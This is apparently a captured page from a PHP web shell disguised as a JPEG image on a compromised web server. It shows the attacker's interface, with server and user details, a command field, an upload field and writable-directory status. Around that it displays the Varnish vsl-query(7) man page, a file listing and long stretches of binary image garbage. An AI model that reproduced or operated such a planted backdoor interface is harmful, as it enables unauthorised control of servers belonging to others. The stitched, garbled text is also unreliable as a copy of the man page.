JFIFHHC     C  " 5????! ??? JFIF    >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C     p!ranha?
Server IP : 172.67.137.82  /  Your IP : 104.23.197.223
Web Server : Apache/2.4.51 (Unix) OpenSSL/1.1.1n
System : Linux ip-172-26-8-243 4.19.0-27-cloud-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : daemon ( 1)
PHP Version : 7.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/bitnami/varnish/share/man/man7/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /opt/bitnami/varnish/share/man/man7/vsl-query.7
.\" Man page generated from reStructuredText.
.
.TH VSL-QUERY 7 "" "" ""
.SH NAME
vsl-query \- Varnish VSL Query Expressions
.
.nr rst2man-indent-level 0
.
.de1 rstReportMargin
\\$1 \\n[an-margin]
level \\n[rst2man-indent-level]
level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
-
\\n[rst2man-indent0]
\\n[rst2man-indent1]
\\n[rst2man-indent2]
..
.de1 INDENT
.\" .rstReportMargin pre:
. RS \\$1
. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
. nr rst2man-indent-level +1
.\" .rstReportMargin post:
..
.de UNINDENT
. RE
.\" indent \\n[an-margin]
.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
.nr rst2man-indent-level -1
.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
..
.SH OVERVIEW
.sp
The Varnish VSL Query Expressions extracts transactions from the
Varnish shared memory log, and perform queries on the transactions
before reporting matches.
.sp
A transaction is a set of log lines that belongs together, e.g. a
client request or a backend request. The API monitors the log, and
collects all log records that make up a transaction before reporting
on that transaction. Transactions can also be grouped, meaning backend
transactions are reported together with the client transaction that
initiated it.
.sp
A query is run on a group of transactions. A query expression is true
if there is a log record within the group that satisfies the
condition. It is false only if none of the log records satisfies the
condition. Query expressions can be combined using boolean functions.
In addition to log records, it is possible to query transaction ids
(vxid) in query.
.SH GROUPING
.sp
When grouping transactions, there is a hierarchy structure showing
which transaction initiated what. The level increases by one on an
\(aqinitiated by\(aq relation, so for example a backend transaction will
have one higher level than the client transaction that initiated it on
a cache miss. Request restart transactions don\(aqt get their level
increased to make it predictable.
.sp
Levels start counting at 1, except when using raw where it will always
be 0.
.sp
The grouping modes are:
.INDENT 0.0
.IP \(bu 2
\fBsession\fP
.sp
All transactions initiated by a client connection are reported
together. Client connections are open ended when using HTTP
keep\-alives, so it is undefined when the session will be
reported. If the transaction timeout period is exceeded an
incomplete session will be reported. Non\-transactional data (vxid
== 0) is not reported.
.IP \(bu 2
\fBrequest\fP
.sp
Transactions are grouped by request, where the set will include the
request itself as well as any backend requests or ESI\-subrequests.
Session data and non\-transactional data (vxid == 0) is not
reported.
.IP \(bu 2
\fBvxid\fP
.sp
Transactions are not grouped, so each vxid is reported in its
entirety. Sessions, requests, ESI\-requests and backend requests are
all reported individually. Non\-transactional data is not reported
(vxid == 0). This is the default.
.IP \(bu 2
\fBraw\fP
.sp
Every log record will make up a transaction of its own. All data,
including non\-transactional data will be reported.
.UNINDENT
.SS Transaction Hierarchy
.sp
Example transaction hierarchy using request grouping mode
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
Lvl 1: Client request (cache miss)
  Lvl 2: Backend request
  Lvl 2: ESI subrequest (cache miss)
    Lvl 3: Backend request
    Lvl 3: Backend request (VCL restart)
    Lvl 3: ESI subrequest (cache miss)
      Lvl 4: Backend request
  Lvl 2: ESI subrequest (cache hit)
.ft P
.fi
.UNINDENT
.UNINDENT
.SH MEMORY USAGE
.sp
The API will use pointers to shared memory log data as long as
possible to keep memory usage at a minimum. But as the shared memory
log is a ring buffer, data will get overwritten eventually, so the API
creates local copies of referenced log data when varnishd comes close
to overwriting still unreported content.
.sp
This process avoids loss of log data in many scenarios, but it is not
failsafe: Overruns where varnishd "overtakes" the log reader process
in the ring buffer can still happen when API clients cannot keep up
reading and/or copying, for instance due to output blocking.
.sp
Though being unrelated to grouping in principle, copying of log data
is particularly relevant for session grouping together with long
lasting client connections \- for this grouping, the logging API client
process is likely to consume relevant amounts of memory. As the vxid
grouping also logs (potentially long lasting) sessions, it is also
likely to require memory for copies of log entries, but far less than
session grouping.
.SH QUERY LANGUAGE
.sp
A query expression consists of record selection criteria, and
optionally an operator and a value to match against the selected
records.
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
<record selection criteria> <operator> <operand>
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
Additionally, a query expression can occur on the transaction
itself rather than log records belonging to the transaction.
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
vxid <numerical operator> <integer>
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
A \fBvxid\fP query allows you to directly target a specific transacion,
whose id can be obtained from an \fBX\-Varnish\fP HTTP header, the
default "guru meditation" error page, or \fBBegin\fP and \fBLink\fP log
records.
.sp
A query must fit on a single line, but it is possible to pass multiple
queries at once, one query per line. Empty lines are ignored, and the
list of queries is treated as if the \(aqor\(aq operator was used to combine
them.
.sp
For example this list of queries:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
# catch varnish errors
*Error

# catch backend errors
BerespStatus >= 500
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
is identical to this query:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
(*Error) or (BerespStatus >= 500)
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
Comments can be used and will be ignored, they start with the \fB\(aq#\(aq\fP
character, which may be more useful when the query is read from a file.
.sp
For very long queries that couldn\(aqt easily be split into multiple queries
it is possible to break them into multiple lines with a backslash preceding
an end of line.
.sp
For example this query:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
BerespStatus >= 500
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
is identical to this query:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
BerespStatus \e
>= \e
500
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
A backslash\-newline sequence doesn\(aqt continue a comment on the next line
and isn\(aqt allowed in a quoted string.
.SS Record selection criteria
.sp
The record selection criteria determines what kind records from the
transaction group the expression applies to. Syntax:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
{level}taglist:record\-prefix[field]
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
Taglist is mandatory, the other components are optional.
.sp
The level limits the expression to a transaction at that level. If
left unspecified, the expression is applied to transactions at all
levels. Level is a positive integer or zero. If level is followed by a
\(aq+\(aq character, it expresses greater than or equal. If level is
followed by a \(aq\-\(aq, it expresses less than or equal.
.sp
The taglist is a comma\-separated list of VSL record tags that this
expression should be checked against. Each list element can be a tag
name or a tag glob. Globs allow a \(aq*\(aq either in the beginning of
the name or at the end, and will select all tags that match either the
prefix or subscript. A single \(aq*\(aq will select all tags.
.sp
The record prefix will further limit the matches to those records that
has this prefix as their first part of the record content followed by a
colon. The part of the log record matched against will then be limited
to what follows the prefix and colon. This is useful when matching
against specific HTTP headers. The record prefix matching is done case
insensitive.
.sp
The field will, if present, treat the log record as a white space
separated list of fields, and only the nth part of the record will be
matched against. Fields start counting at 1.
.sp
An expression using only a record selection criteria will be true if
there is any record in the transaction group that is selected by the
criteria.
.SS Operators
.sp
The following matching operators are available:
.INDENT 0.0
.IP \(bu 2
== != < <= > >=
.sp
Numerical comparison. The record contents will be converted to
either an integer or a float before comparison, depending on the
type of the operand.
.IP \(bu 2
eq ne
.sp
String comparison. \(aqeq\(aq tests string equality, \(aqne\(aq tests for not
equality.
.IP \(bu 2
~ !~
.sp
Regular expression matching. \(aq~\(aq is a positive match, \(aq!~\(aq is a
non\-match.
.UNINDENT
.SS Operand
.sp
The operand is the value the selected records will be matched
against.
.sp
An operand can be quoted or unquoted. Quotes can be either single or
double quotes, and for quoted operands a backslash can be used to
escape the quotes.
.sp
Unquoted operands can only consist of the following characters:
.INDENT 0.0
.INDENT 3.5
.sp
.nf
.ft C
a\-z A\-Z 0\-9 + \- _ . *
.ft P
.fi
.UNINDENT
.UNINDENT
.sp
The following types of operands are available:
.INDENT 0.0
.IP \(bu 2
Integer
.sp
A number without any fractional part, valid for the numerical
comparison operators. The integer type is used when the operand does
not contain any period (.) characters.
.IP \(bu 2
Float
.sp
A number with a fractional part, valid for the numerical comparison
operators. The float type is used when the operand does contain a
period (.) character.
.IP \(bu 2
String
.sp
A sequence of characters, valid for the string equality operators.
.IP \(bu 2
Regular expression
.sp
A PCRE regular expression. Valid for the regular expression
operators.
.UNINDENT
.SS Boolean functions
.sp
Query expressions can be linked together using boolean functions. The
following are available, in decreasing precedence:
.INDENT 0.0
.IP \(bu 2
not <expr>
.sp
Inverts the result of <expr>
.IP \(bu 2
<expr1> and <expr2>
.sp
True only if both expr1 and expr2 are true
.IP \(bu 2
<expr1> or <expr2>
.sp
True if either of expr1 or expr2 is true
.UNINDENT
.sp
Expressions can be grouped using parenthesis.
.SH QUERY EXPRESSION EXAMPLES
.INDENT 0.0
.IP \(bu 2
Transaction group contains a request URL that equals to "/foo"
.INDENT 2.0
.INDENT 3.5
.sp
.nf
.ft C
ReqURL eq "/foo"
.ft P
.fi
.UNINDENT
.UNINDENT
.IP \(bu 2
Transaction group contains a request cookie header
.INDENT 2.0
.INDENT 3.5
.sp
.nf
.ft C
ReqHeader:cookie
.ft P
.fi
.UNINDENT
.UNINDENT
.IP \(bu 2
Transaction group doesn\(aqt contain a request cookie header
.INDENT 2.0
.INDENT 3.5
.sp
.nf
.ft C
not ReqHeader:cookie
.ft P
.fi
.UNINDENT
.UNINDENT
.IP \(bu 2
Client request where internal handling took more than 800ms.:
.INDENT 2.0
.INDENT 3.5
.sp
.nf
.ft C
Timestamp:Process[2] > 0.8
.ft P
.fi
.UNINDENT
.UNINDENT
.IP \(bu 2
Transaction group contains a request user\-agent header that contains
"iPod" and the request delivery time exceeds 1 second
.INDENT 2.0
.INDENT 3.5
.sp
.nf
.ft C
ReqHeader:user\-agent ~ "iPod" and Timestamp:Resp[2] > 1.
.ft P
.fi
.UNINDENT
.UNINDENT
.IP \(bu 2
Transaction group contains a backend response status larger than or
equal to 500
.INDENT 2.0
.INDENT 3.5
.sp
.nf
.ft C
BerespStatus >= 500
.ft P
.fi
.UNINDENT
.UNINDENT
.IP \(bu 2
Transaction group contains a request response status of 304, but
where the request did not contain an if\-modified\-since header
.INDENT 2.0
.INDENT 3.5
.sp
.nf
.ft C
RespStatus == 304 and not ReqHeader:if\-modified\-since
.ft P
.fi
.UNINDENT
.UNINDENT
.IP \(bu 2
Transactions that have had backend failures or long delivery time on
their ESI subrequests. (Assumes request grouping mode).
.INDENT 2.0
.INDENT 3.5
.sp
.nf
.ft C
BerespStatus >= 500 or {2+}Timestamp:Process[2] > 1.
.ft P
.fi
.UNINDENT
.UNINDENT
.IP \(bu 2
Log non\-transactional errors. (Assumes raw grouping mode).
.INDENT 2.0
.INDENT 3.5
.sp
.nf
.ft C
vxid == 0 and Error
.ft P
.fi
.UNINDENT
.UNINDENT
.UNINDENT
.SH HISTORY
.sp
This document was written by Martin Blix Grydeland.
.SH COPYRIGHT
.sp
This document is licensed under the same licence as Varnish
itself. See LICENCE for details.
.INDENT 0.0
.IP \(bu 2
Copyright (c) 2006 Verdens Gang AS
.IP \(bu 2
Copyright (c) 2006\-2015 Varnish Software AS
.UNINDENT
.\" Generated by docutils manpage writer.
.
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 20 2021 18:06:13
root / root
0755
varnish-cli.7
21.764 KB
January 20 2021 17:51:11
root / root
0644
varnish-counters.7
38.749 KB
January 20 2021 17:51:11
root / root
0644
vcl.7
51.456 KB
January 20 2021 17:51:11
root / root
0644
vsl-query.7
12.131 KB
January 20 2021 17:51:11
root / root
0644
vsl.7
26.204 KB
January 20 2021 17:51:11
root / root
0644
vtc.7
36.634 KB
January 20 2021 17:51:11
root / root
0644
 $.' ",#(7),01444'9=82<.342 C  2!!22222222222222222222222222222222222222222222222222  }|"        } !1AQa "q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a        w !1AQ aq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a   ? HRjA <̒.9;r8 Sc*#k0a0 ZY 7/$ #'Ri'H/]< q_LW9c#5AG5#T8N38UJ1z]k{}ߩ)me&/lcBa8l S7(S `AI&L@3v, y cF0-Juh!{~?"=nqo~$ѻj]M >[?) ms~=*{7E5);6!,  0G K >a9$m$ds*+ Cc r{ ogf X~2v 8SВ~W5S*&atnݮ:%J{h[K }y~b6F8 9 1;ϡa{{u/[nJi- f=Ȯ8O!c H%N@<}qlu"a&xHm<*7"& #!|Ӧqfx"oN{F;`!q9vRqR?~8p)ܵRJ Q @Xy{*ORs~QaRqE65I 5+0y FKj}uwkϮj+z{kgx5(fnrFG8QjVVF)2 `vGLsVI,ݣa(`:L0e V+2h hs`iVS4SaۯsJ-밳Mw$Qd d }}Ʒ7"asA:rR.v@ jY%`5\ܲ2H׭*d_(ܻ#'X 0r1R>"2~9Ҳ}:XgVI?*!-N=3sϿ*{":4ahKG9G{M]+]˸ `mcϱy=y:)T&J>d$nz2 sn`ܫS;y }=px`M=i* ޲ 1}=qxj Qy`A,2ScR;wfT#`~ jaR59HVyA99?aQ vNq!C=:a#m#bY /(SRt Q~ Cɶ~ VB ~2ONOZrA Af^3\t_-ϦnJ[/|2#[!,O|sV/|IS$cFwt+zTayLPZ>#a ^r7d\u "3 83&DT S@rOW PSܣ[0};NRWk "VHl>Zܠnw :q׷el,44`;/I'pxaS";vixUuY1#:}T[{Kwi ma99 c#23ɫx-3iiW"~- yY"8|c-< S#30qmI"d cqf  #5PXW ty?ysvYUB(01 JǦ5%u'ewͮ{maܳ0!B0A~z{a{kc B ` ==}r Wh{xK% s9U@p7c}1WR^yY\ brp8'sֺk'K}"+l44?0I"ڳ.0d)@fPq׬F~ZY 3"BAF$SN  @(a lbW\vxNjZIF`6 ?! Nxҩҭ OxM{jqR 0 &yL%?y$"\p4:&u$aC$xo>TK@'y{~4KcC v}&y?]Ol|_; ϡRn r[mܡ}4D}:) $XxaY8i" !pJ"V^0 Rien% 8eeY,S =?E k"bi0ʶI=O:Sk>hKON9K2uPf*ny41l~}I~*E FSj%RP7U0Ul(D2z>a}X ƭ,~C<B6 2| HC#%:a7"Sa'ysK4!0R{szR5HC+=}ygn0c|SOA9kԮ}f"R#copIC~é :^eef # <3ֻxשƤ"ӽ94'_LOF90 &ܧܭS0R0#o8#R6y}73G^2~ox:##Sr=k41 r  zo 7"_=`0ld` qt+9?x%m,{.j;%h*:U}qfp}  g$*{XLI:"fB\BUzrRr#Ь +(Px:$SR~tk9ab! S#G'oUSGv4v} Sb{{)PҺ#Bܬ86GˏdTmV$gi&'r:1SSҠ" rP*I[N9_["#Kr.F*I?ts Thյ % =ଣa$|E"~GG O#,yϩ&~\\c1L2HQR :}9!`͐ɾF''yNp|=~D""vn2s~GL IUPUw-/mme] ? aZeki,q0c10PTpAg%zS߰2ĤU]`~I;px?_Z|^agD )~J0E]##o"NO09>"Sưpc`I}˯ JG~ +dcQj's&v6}ib %\r9gxuMg~x}0?*Wa^O*#  1wssRpTpU(u}`Ref  9bݿ 1FS999)e cs{'uOSܺ0fee6~yoƧ9"%f80(OOj&E T&%rKz?.;{aX!xeUd!x9t%wO_ocM- jHX_iK#*) ~@}{ ǽBd0Rn07 y@̢ 9?S ޫ>u'ʴu\"uW5֒HYtL B}GLZTg ܰ fb69\PP 緶;!3Ln]H8:@ S}>oޢ5%k:N ",xfpHbRL0 ~} e pF0'}=T0"!&zt9?F&yR`I #}J'76w`:q*2::ñޤ<  | 'F^q`gkqyxL; Rx?!Y7P}wn ·.KUٿGr4+ %EK/ uvzTp{{wEyvi 0X :}OS'aHKq*mF@\N:t^*sn }29T.\ @>7NFNRӷwEua'[c̐O`. Ps) gu5DUR;aF$`[CFZHUB M<9SRUFwv&#s$fLg8Q$q9Jez`R[' ?zﶥu3(MSs}0@9$&-ߦO"g`+n'k/ !$-1)ae2`g۰Z#r 9|ը}Iѭǻ1Bc.qR u`^սSmk}uzmSi<6{m}VUv3 SqRSԶ9{" bg@R Tqinl!1`+xq~:f ihjz&w"RI'9nSvmUۍ"I-_kK{ivimQ|o-~}j:`|ܨ qRR~yw@q%彶imoj0hF;8,:yuO'|;ڦR%:tF~ Ojߩa)ZVjkHf&#a'R\"Il`9dL9t"Ĭ7}:v /1`!n9!$ RqzRsF[In%f"R~ps9rzaRq6ۦ=0i+?HVRheIr:7f 8<+~[֬]poV%v pzg639{Rr81^{qo 92|ܬ}r=;zC*|+[zۣaS&쭬&C[ȼ3`RL9{j?KaWZVm6E}{X~? z~8ˢ 39~}~u-"cm9s kx]:[[yhw"BN v$ y9@" v[Ƽ* zSd~xvLTT"7j +tCP5:= /"ig#7ki' x9#}}ano!KDl('S?c_;`Ū3 9oW9g!Zk:p6[Uwxnq}qqFesS[;tj~]<:~!x,}V&"AP?&vIF8~SR̬`*:qxA-La-"i g|*px F:n~˯޼BRQC`5*]Q >:*D(cX( FL0`;5R|G#3`0+mѬn ޣ &0❬0 S&{t?ʯ(__`5XY[|Q `2:sO* <+:Mka&ij ƫ?Scun]I: 砯[&xn;6>}'`I0N}z5r\0s^Ml%M$F"jZek 2"Fq`~5+ҤQ G9 q=cᶡ/Ƥ[ iK """p;`tMt}+@dy3mՏzc0 yq~ 45[_]R{]UZp^[& Osz~I btΪ\yaU;Ct*IFF3`"c 1~YD&U \oRa !c[[G}P7 zn>3,=lUENR[_9 SJMyE}x,bpAdcRW9?[H$p"#^9O88zO=!Yy91 ڻM?M#C&nJp#~ G ekϵo_~xuΨQt۲:W6oyFQr $k9ڼs67\myFTK;[ld7ya` eY~q[&vMF}p3gW!8Vn:a/ ,i|R,`!W}1Ӿx~x XZG\vR~sӭ&{]Q~9ʡH~"5 -&U+g j~륢N=Jfd 9BfI nZ8wЮ~a=3x+/l`?"#8-S\pqTZXt%&#` ~{p{m>ycP0(R^} (y%m}kB1Ѯ,#Q)!o1T*}9y< b04H. 9`>}ga `~)\oBRaLSg$IZ~%8)Rcu9b%)S 4ֺ}Z/[H%v#x b t{gn=i%]ܧ! wSp V?5cb_`znxKJ=WT9qx"qzWUNN/O^xe|k{4V^~Gz|[31 rpjgn 0}k90ne+"VbrO]'0oxh`*!T$d/$~N>Wq&Z9O\1o&,-z ~^NCgN)ʩ70'_Eh u*K9.-v<h$W%~g-G~>ZIa+(aM #9l%c  xKGx|"O:8qcyNJyRTj&Omztj ?KaXLebt~A`GBA":g,h`q` e~+[YjWH?N>X<5ǩѼM8cܪX}^r?IrS"Zm:"57u&|" >[XHeS$Ryଠ:2|Df? ZPDC(x0|R;Ms Vi,͹:xi`,GAlVFY:=29n~@yW~eN ]_Go'}э_ЯR66!: gFM~q; eX<#%A0R } G&x&?ZƱkeR Knz`9j%@qR[-$u&9zOJKad"[jײc;&B(g<9nȯGxP.fF}P 31 R}<3a~ 2xV Dr \:}#S}HI\OKuI (GW 񳹸2:9%_3N|0}y lMZT [/9 n3 Mòdd^.}:BNp>czí Y%-*9ܭhRcd,. V`e n/=9xGQKx|b`D@2R 8'} }+D&"R}r22 Ƿs]x9%<({e:Hqǽ`}Ka9ı< ~ O#%iKKlF)'I+(`Sd` "c^ i\hBaq}:W|F BReax-sʬ:W<%$ %CD%Iʤ&Ra0}nxoW0ey'Ża2r# ۰A^9Q=5.(M$~V=SFNW H~kR9+~;khIm9aJ_Z"6 a>a<%2nbQ`\tU 9k15uCL$ݹp P1=Os^uEJx5zy:j:k OcnW;boz{~Vơaa5ksJ@?1{$=ks^nR)XN1OJxFh R"}?xSac*FSi;7~׫3 pw0<%~ P+^ Ye}CR/>>"m~&&>M[h [}"d&RO@3^(ʽ*QZy 1V}?O4Rh6R a3߷ =mR/90CI:c}s۾"xЬˢW$"{PG xZ1R0xE9+ ^rE`70l@.' }zN3U<3*? "c=p '1"kJ H'x+ oN9 d~c+jJz7(W]""?n괺6wN"Z`~:|??-E&®V$~X/& xL7pz^tY78Ue# #r=sU/EjRC4mxNݴ9 u:V ZIcr1xpzsfV9`qLI?\~ChOOmtעxZ}?S#b-X7 g~zzb3Sm*qvsM=w}&ڪ^׵(! ֵen QYSLSNk!/n00vRwSa9-V`[$`(9cq_@Bq`捭0;79?w<|k1 һlnrPNa&} ~-_O'0`!R%]%b1' X՝OR9+*"0O `uaӫ9ԥSy.ox x&(STݽ]Nr3~["veIGlq=M|gsxI6 ]ZΪ,zR}~#`F"iqcD>S G}1^+ i;Vi-Z]ܮ` b٥_/y(@qg W0.: 6 r>QR0+zb+I0TbN"$~)69{0V27SWWccXyKZc'iQLaW`xS\`źʸ&|V|!G[[ 3OrPY=15T~я 64/?Z~k}o፾}3]8濴n}a_6pS)2?WڥiWd}q{*1rXRd&m0cd"J# ,df8Nh;=7pn 6J~O2^S J:6ܷ0!wbO P=:-&} ` 9 r9ϧz> X75XkrѢL 7w}xNHR:2 +uN/'~h!nReQ6Q Ew|Yq1uyz8 `;6i<'[íZhu g>r`x}b2k꣧o~:hTW4|ki"xQ6Ln0 {e#27@^.1NSy e Q=̩B8<Scc> .Fr:~G=k,^!F~ ,}% "rGSYd?aY49PyU !~xm|/NܼPcT,/=Fk|u&{m]۾P>X޽i 0'6߼( !z^:S|,_&a]uѵ4jb~xƩ:,[ = R Y?}ڼ?x,1دv&@q Sz8Xz~"j=} ~h@'hF#p?xQ-lvpxcx&lxG·0L%y?-y`l7>q2A?"F}c!jB:J +Qv=Vu[Qml%R7aIT}x ? a7 1 -Ll}0O=up"3ҶW/!|w}w^qa M8Q?0IEhaX"`a ?!Q!R~q}~O`I0 Jy|!@99>8+u&! ʰ<6Iz S)Z_POw*nm=>Jh]&@nTR6IT ^Fx73!ַa$ 5Io:ȪmY[80*x"k+\ Ho}l"k, c{Z\ Q pz}3} JXOh٥LdR`6G^^[bYRʻd}4  2,; CQĴcmV{W\xx,MRl-n~ ?#}"SҥWN;~)"S9cLj뵿ūikiX7yny} t`V's$9:{wEk c$.~k}AprѢ!`lSs90IÝw&ef"pR9g}Tl} NkUK0Up ^ȥ{Hp`bqϩ^: }' Mz+5x('C$_I?^'z~+-}*?.x^1}My¸&L7&' bqG]˪1$oR8`.q}s־C98cvSfuַ _ۺxר:גxP-/mnQG`Rq=>nr!h`+;3<۩axx*Vtiwi |cRϮ3ֽ̰0 QroZѫO൯w8;k: x ;Ja;9R+g}|I{o2ʲ9 029L\0xb "Bv$&#i>=f N >NXW~5\0^(w2}X$ e888^n^ 9Q~7 DCѵs9W6!2\:?(#'$GJW\ 0E"g;Pv Nsx"}/:t+]JM*"^Ud|0M923"6H^&1oE.7*Htp{g<+cpby=8_skB\j""[9Pb9B& =93LaaXdP.0\0?"J" "S+=@9<AQ׻աxk",J$S}xZWH"UQ ]Xg< ߨg3-qe0*R$ܒ S8}_/e'+-Ӷ[sk%x0-peCr ϒ~=a(QWd\. \F0M>grq+SNHO  ܥݭnJ|P6Kc=Is} Ga)a=#vK:oKٍ&R[sټˏ" pwqSR 9!KS&vD A9 Rq} $SnIV[]}A |k|E Mu R.Idk}yvc iUSZ&zn*j-ɭ/SH\y5 ۠"0 xnz#ԯ, eŴ'c&<ݬ<S`kâna8=ʪ[x"pN02zK8.(v2@ ~xfuyUWa|:%Q^[|o5ZY"^{96Yv*x>_|UִtM9P## z/0-įdd,:p03S{9=+ ![!#="յjHh:[{?.u_%ccA }0x9>~9,ah2 Ary$VN ]=$} #1dMax!^!Kk FN8+{Ҽo[MRoe[_m/k.kg}xsSӴ`zKo0cPC9Y0#^9x˷`09;=aAkNBlcF 2Ҭ]K$ܮ"/H$ fO贵jN̿ xNFdhT9}A>qStһ\ȶc3@#I W.<ѬaA ; q2q $# ! !}9=;Ru+ϥe+$娯'+ZH4qFV9gR208)б>M|¾"i9Jd"O;sr+)DRaF*3d {zwQU~f ~>I+Rq`3Sf]STn4_*5azGC,+1òOcSb2y;cգh:`rNBk gxaX/hx*Tn = 2|(e$ x!'y+S=Y:i -BK":ơ&v-Y=Onjyf4T P`S7={m/ ZK&GbG AS*ÿ IoINU8Rw; 1Y "E Oyto/8~#ñl2f'h?CYd:qӷeĩ RL+~A3g=aRt3 QREw_;haSir ^i!|ROmJ/$lӿ [` >cF61 z7Ldxw9AXO"hm"NT I$pG~:bWS|n>Ϣܢ"%qL^ KpNA< &==ffF!yc $=ϭY]eDH>x_TP"a0ch['7a!?wn5u|c{O1"xsZ&y32  ~AcO45-fR. s~"Ҿ"wo\lxP Xc S5q/>#~Wif$\3 }<9H" ( : 8=+ꨬUAT]{msF0\}&BO}+:x1 ,v ~IZ0ǧ"3 20p9~)Zoq/L Rm}9[#\Bs [; g2SV/[u /a} =xHx." Qxh#a$'u<`:>2>+LSiwF1!eg`S }Vv $|,szΒxD\Rm o| :{Ӷn!0l, ( RR crsa,49MOH!@ }`9w;At0&.클5,u-cKӣ̺U.L0&%2"~x [`cnH}y"keRF{(ة `J#}wg<:;M ^\yhX!vBzrF?B/s<B)۱ w5:se{mѤh]Wm4W4bC3r$ pw`dzt!y`IhM)!edRm'>?wzKcRq6fp$)wUl`ARAgr:Rg[iYs5GK=FMG ``KɦuOQ!R/G`@qzd/(K%}bM x>RRVIY~#"@8 Sgq54v[(q c!FGa? UWZ$y}zק?>"6{""}.$`US& ' r$1(y7 V<~:  Mw'bxb7g~,iF8½k/{!2S/?:$eSRIRg9czrrNObi Ѻ/$,;R vxb" nmxn}3G,.٣u r`[<!@:c9Zh M5-q}G9 ;A-~v^ONxE}PO&e[]Gp /˷81~@B*8@p"8Q~H'8I-% F6U|ڸ ^w`K1K,}ddl0PkG&Uw};y[Zs"["6 Vq,# 8ryA::,c66˴'?t}H--":|Ƭ[  7#99$,+qS\ cy^ݸa"B-9%׮9Vw~vTꢷ%" [x"2gS?6 9#a@bTC*3BA9 =U"2l0iIc2@%94'HԾ@ Tpax::5eMw:_+a3yv " 1Gȫ#  p JvaDE: NFr2qxAau"#Ħ822/[Tr;q`z*(0 ;T:; Skޭ8U{^IZwkXZo_oȡ R2S SVa DRsx|2 [9zs{wnmCO+ GO8e`^G5f{X~,k0< y"vo I=S19)R#;Anc}:t#TkB.0R-Zgum}fJ+#2P~i%S3P*YA}2r:iRUQq0H9!={~ J}Vײm.ߺiYlkgLrT" &wH6`34e &L"%clyîA0 ~$[3u"pNO=  c{rYK ~F "a"Lr1ӯ2<"C".fջ~-g4{[r}xlqpwǻ8rF \c}-gycirw#o95afxfGusJ S/LtT7w,l ɳ;e෨RsgTS^ '~9:+kZd*[ܫ%Rk0}X$k#Ȩ P2bvx"b)m$*8LE8'N y+{uI'wva4fr=u sFlV$ Hс$ =}] :}+"mRlT#nki _T7θd\8=y}R{x]Z#r#H6 Fkr;s.&;s 9HSaխtU-n | vqS{gRtS.P9}0_[;mޭZRX{+"-7!G"9~nrYXp S!ӭoP̏t (0޹s#GLanJ!T#?p}xIn#y'q@r[J&qP}:7^0yWa_79oa #q0{mSyR{v޶eХ̮jR ":b+J y"]d OL9-Rc'SڲejP  qdВjPpa` <iWNsmvz5:Rs\u